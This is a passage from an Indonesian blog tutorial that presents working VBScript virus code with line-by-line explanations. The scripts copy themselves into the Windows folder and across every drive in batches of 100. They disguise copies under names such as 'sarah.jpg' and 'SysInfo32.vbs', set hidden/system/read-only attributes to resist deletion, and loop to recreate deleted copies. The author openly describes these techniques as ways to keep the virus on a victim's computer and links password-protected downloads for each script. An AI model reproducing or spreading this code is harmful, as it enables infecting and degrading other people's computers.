c1vs=vs.ReadAll  == >variable c1vs digunakan untuk pembacaan virus secara keseluruhan

vs.close  ==> pembacaan virus selesai dan di tutup

set win=dendrif.GetSpecialFolder(0)  ==> penghendelan untuk mendapatkan folder windows

set c2vs=dendrif.GetFile(Wscript.ScriptFullName) ==> menset c2vs untuk mendapatkan informasi virus

do = lakukan

if (dendrif.FileExists("c:\ranis.jpg"))=false then = jika file ranis.jpg tidak ada di C:\ maka

set c3vs=dendrif.createTextFile(win & "\SysInfo32.vbs") = men set c3vs untuk membuat file virus di windows dengan nama sysInfo32.vbs

c3vs.write c1vs = file yang dibuat dituliskan code virus

c3vs.close = penulisan selesai lalu di tutup

else = yang lainnya

end if = akhir dari if / jika

loop = lakukan perulangan  membuat/pengkopian virus..makanya virus nggak bisa di hapus…..   :D

jalankan script dan coba hapus file SysInfo32.vbs, setalah di hapus akan nongol lagi - nongol lagi....
cara menghapus supaya tidak nongol lagi bagaimana? saya juga gak tahu...........
boong deng, ada kok caranya coba buka taskmanager, pilih wscript.exe, klik end process, klik end process lagi, kemudian hapus file SysInfo32.vbs yang ada di folder windows.

download script 
password = www.dendrif-deo.co.cc[antidelet]

download script 
password = www.dendrif-deo.co.cc[antideletalldrive]
semoga bermanfaat..... :D

MENYEMBUNYIKAN HASIL KOPIAN YANG BANYAK

Daripada anak-anak virus ini kelihatan dan merusak pemandangan sekaligus mencegah penghapusan dan supaya anak-anak virus ini betah tinggal dikomputer korban lebih baik anak-anak ini disembunyikan biar aman.

on error resume next

set dendrif=CreateObject("Scripting.FileSystemObject")

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName)

c1vs=vs.ReadAll

vs.close

set c2vs=dendrif.GetFile(Wscript.ScriptFullName)

for each deo in dendrif.drives

if (deo.drivetype=1 or deo.drivetype=2 ) and deo.path <>"A:" then

for i = 1 to 100

set c3vs=dendrif.createTextFile(deo.path & "\sysInfo" & i & ".vbs",2,true)

c3vs.write c1vs

c3vs.close

set att=dendrif.GetFile(Wscript.ScriptFullName)

att.attributes=39

set att1=dendrif.GetFile(deo.path & "\sysInfo" & i & ".vbs")

att1.attributes=39

next

end if

next

msgbox"virus telah berhasil di kopi ke all drive sebanyak 100 buah dan disembunyikan",vbinformation,"Tes virus..."

penjelasan script

set att=dendrif.GetFile(Wscript.ScriptFullName) = pengambilan informasi virus

att.attributes=39  = merubah file virus jadi hidden+system+readonly+archive

set att1=dendrif.GetFile(deo.path & "\sysInfo" & i & ".vbs") = pengambilan informasi hasil kopian

att1.attributes=39 = merubah hasil kopian jadi hidden+system+readonly+archive

yang lainnya sudah sering di jelaskan booossaaaaaaaaaan.

download script

password = www.dendrif-deo.co.cc[hiddenallcloning]

semoga bermanfaat............................ :D

TEKNIK MENYEMBUNYIKAN DIRI

Sudah menjadi rahasia umum, kalau virus setelah ataupun sebelum aktif akan menyembunyikan diridari pengguna computer.Karena dengan menyembunyikan dirilahvirus bias selalu exist dan aktif dimemori.Teknik menyembunyikan diri ini sebenarnya hanya merubah properties sebuah file atau virus yang di set hidden.Setahu saya ( maaf-maaf kalau salah ) properties sebuah file bila menggunakan bahasa pemograman vbs adalah ditentukan dengan nilai ANGKA, sedangkan bila menggunakan bahasa visual basic 6 kita hanya menuliskan propertiesnya saja, seperti contoh:

SetAttr “C:\virus.exe”,vbhidden+vbsystem

Adapun nilai properties dari vbs adalah sebagai berikut:

Nilai  = 1 “ReadOnly”

Nilai  = 2 “Hidden”

Nilai  = 3 “Hidden + ReadOnly”

Nilai  = 4 “System”

Nilai  = 5 “System + ReadOnly”

Nilai  = 6 “System + Hidden”

Nilai  = 7 “System + Hidden + ReadOnly”

Nilai  = 32 “Archive”

Nilai  = 33 “Archive + ReadOnly”

Nilai  = 34 “Archive + Hidden”

Nilai  = 35 “Archive + Hidden + ReadOnly”

Nilai  = 36 “Archive + System”

Nilai  = 37 “Archive + System + ReadOnly”

Nilai  = 38 “Archive + System+ Hidden”

Nilai  = 39 “Archive + System + Hidden + ReadOnly”

Nilai  = 128 “Normal”

Berikut kode scriptnya

on error resume next

set dendrif=CreateObject("Scripting.FileSystemObject")

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName)

c1vs=vs.ReadAll

vs.close

set win=dendrif.GetSpecialFolder(0)

set c2vs=dendrif.GetFile(Wscript.ScriptFullName)

c2vs.Copy (win & "\listWinamp.vbs")

c2vs.Copy (win & "\sarah.jpg")

c2vs.Copy (win & "\SysInfo32.vbs")

set ilang1=dendrif.GetFile(win & "\listWinamp.vbs")

ilang1.attributes=39

set ilang2=dendrif.GetFile(win & "\sarah.jpg")

ilang2.attributes=39

set ilang3=dendrif.GetFile(win & "\SysInfo32.vbs")

ilang3.attributes=39

msgbox"virus telah berhasil di kopi ke folder windows dengan hidden",vbinformation,"Tes virus..."

penjelasan script

set ilang1=dendrif.GetFile(win & "\listWinamp.vbs") = pengambilan informasi file listWinamp.vbs

ilang1.attributes=39 =merubah file listWinamp.vbs menjadi Hidden+system+readonly+archive

set ilang2=dendrif.GetFile(win & "\sarah.jpg") =  pengambilan informasi file sarah.jpg

ilang2.attributes=39 =merubah file sarah.jpg  menjadi Hidden+system+readonly+archive

set ilang3=dendrif.GetFile(win & "\SysInfo32.vbs") == pengambilan informasi file SysInfo32.vbs

ilang3.attributes=39 =merubah file SysInfo32.vbs menjadi Hidden+system+readonly+archive

download script
password = www.dendrif-deo.co.cc[windowshidden]
semoga bermanfaat.......... :D

MENGKOPI DIRI KE SELURUH DRIVE DENGAN JUMLAH BANYAK

Kode script ini hanya pengembanngan dari kode sebelumnya karena hanya ditambahkan beberapa script kode saja, coba lihat dan bandingkan

on error resume next

set dendrif=CreateObject("Scripting.FileSystemObject")

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName)

c1vs=vs.ReadAll

vs.close

set c2vs=dendrif.GetFile(Wscript.ScriptFullName)

for each deo in dendrif.drives

if (deo.drivetype=1 or deo.drivetype=2 ) and deo.path <>"A:" then

for i = 1 to 100

set c3vs=dendrif.createTextFile(deo.path & "\sysInfo" & i & ".vbs",2,true)

c3vs.write c1vs

c3vs.close

next

end if

next

msgbox"virus telah berhasil di kopi ke all drive sebanyak 100 buah",vbinformation,"Tes virus..."

seperti biasa simpan script dengan nama contoh clonigalldrive.vbs, lalu jalankan..........

penjelasan script

on error resume next = bila terjadi kesalahan lanjutkan ke perintah selanjutnya

set dendrif=CreateObject("Scripting.FileSystemObject") ==> menset dendrif sebagai  penghendelan file objek untuk pembuatan file atau hal lainnya yang dibutuhkan vbs ,saya juga kurang paham arti khususnya

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName) ==> menset vs untuk penghendelan membuka virusnya sendiri (Wscript.ScriptFullName)

c1vs=vs.ReadAll  == >variable c1vs digunakan untuk pembacaan virus secara keseluruhan

vs.close  ==> pembacaan virus selesai dan di tutup

set c2vs=dendrif.GetFile(Wscript.ScriptFullName) = pengambilan informasi virus

for each deo in dendrif.drives = pengambilan seluruh informasi drive

if (deo.drivetype=1 or deo.drivetype=2 ) and deo.path <>"A:" then = jika tipe drive satu atau 2 dan alamat drive bukan A:\,( Karena A: drive untuk disket yang sekarang gak dipake lagi) maka

for i=1 to 100 = untuk satu sampai seratus

set c3vs=dendrif.createTextFile(deo.path & "\sysInfo" & i & ".vbs",2,true)

 = menset c3vs sebagai penghendel pengkopian virus ke semua drive sebanyak seratus buah file virus dengan nama virus sysInfo1.vbs s/d sysInfo100.vbs

C3vs.write c1vs = hasil kopian dituliskan code virus

C3vs.close = pengkopian selesai dan ditutup

next = berikutnya/setelah pengkopian yang kesatu selesai lanjut ke pengkopian yang kedua terus sampai seratus.

End if = akhir dari if

Next =selanjutnya pengkopian ke semua drive secara satu persatu

msgbox"virus telah berhasil di kopi ke semua drive sebanyak 100 buah",vbinformation,"Tes virus..." = menampilkan pesan kalau pengkopian virus ke semua drive sebanyak seratus file telah berhasil.

download script
password = www.dendrif-deo.co.cc[cloningalldrive]
semoga bermanfaat................. :D

MENGKOPI DIRI DENGAN JUMLAH RIBUAN BAHKAN JUTAAN

Kalau saya memelihara binatang ternak terus bisa beranak pinak sampai ribuan bahkan jutaan anaknya wah waaah bakalan kaya saya , gak usah kerja sama orang lain, apalagi disuruh-suruh sama atasan.Sayangnya binatang ternak paling banyak beranak paling-paling enam atau tujuh atau delapan ekor anaknya, tidak seperti virus vbs yang dapat beranak sampai banyak terserah yang buat maunya berapa.Disini saya hanya memberi contoh 100 saja, sobat blogger bisa menggantinya sesukanya semakin besar dan banyak berarti semakin menunjukkan tingkat kekejaman sobat blogger ( he he he becanda ).Nggak usah banyak cingcong langsung saja ke kode script.

on error resume next

set dendrif=CreateObject("Scripting.FileSystemObject")

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName)

c1vs=vs.ReadAll

vs.close

set win=dendrif.GetSpecialFolder(0)

for i=1 to 100

set c2vs=dendrif.CreateTextFile (win & "\sysInfo" & i & ".vbs")

c2vs.write c1vs

c2vs.close

next

msgbox"virus telah berhasil di kopi ke folder windows sebanyak 100 buah",vbinformation,"Tes virus..."

simpan script dengan nama contoh cloning.vbs, coba jalankan jreeeeeeeenng............!

penjelasan script

on error resume next = bila terjadi kesalahan lanjutkan ke perintah selanjutnya

set dendrif=CreateObject("Scripting.FileSystemObject") ==> menset dendrif sebagai  penghendelan file objek untuk pembuatan file atau hal lainnya yang dibutuhkan vbs ,saya juga kurang paham arti khususnya

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName) ==> menset vs untuk penghendelan membuka virusnya sendiri (Wscript.ScriptFullName)

c1vs=vs.ReadAll  == >variable c1vs digunakan untuk pembacaan virus secara keseluruhan

vs.close  ==> pembacaan virus selesai dan di tutup

set win=dendrif.GetSpecialFolder(0) = pengambilan informasi folder window

for i=1 to 100 = untuk satu sampai seratus

set c2vs=dendrif.CreateTextFile (win & "\sysInfo" & i & ".vbs") = menset c2vs sebagai penghendel pengkopian virus ke folder windows sebanyak seratus buah file virus

c2vs.write c1vs = hasil kopian dituliskan code virus

c2vs.close = pengkopian selesai dan ditutup

next = berikutnya/setelah pengkopian yang kesatu selesai lanjut ke pengkopian yang kedua terus sampai seratus.

msgbox"virus telah berhasil di kopi ke folder windows sebanyak 100 buah",vbinformation,"Tes virus..." = menampilkan pesan kalau pengkopian virus ke folder windows sebanyak seratus file telah berhasil.

Berikut screenshotnya:

pengkloningan sebanyak 100 buah

download script
password = www.dendrif-deo.co.cc[clon]
semoga bermanfaat........  :D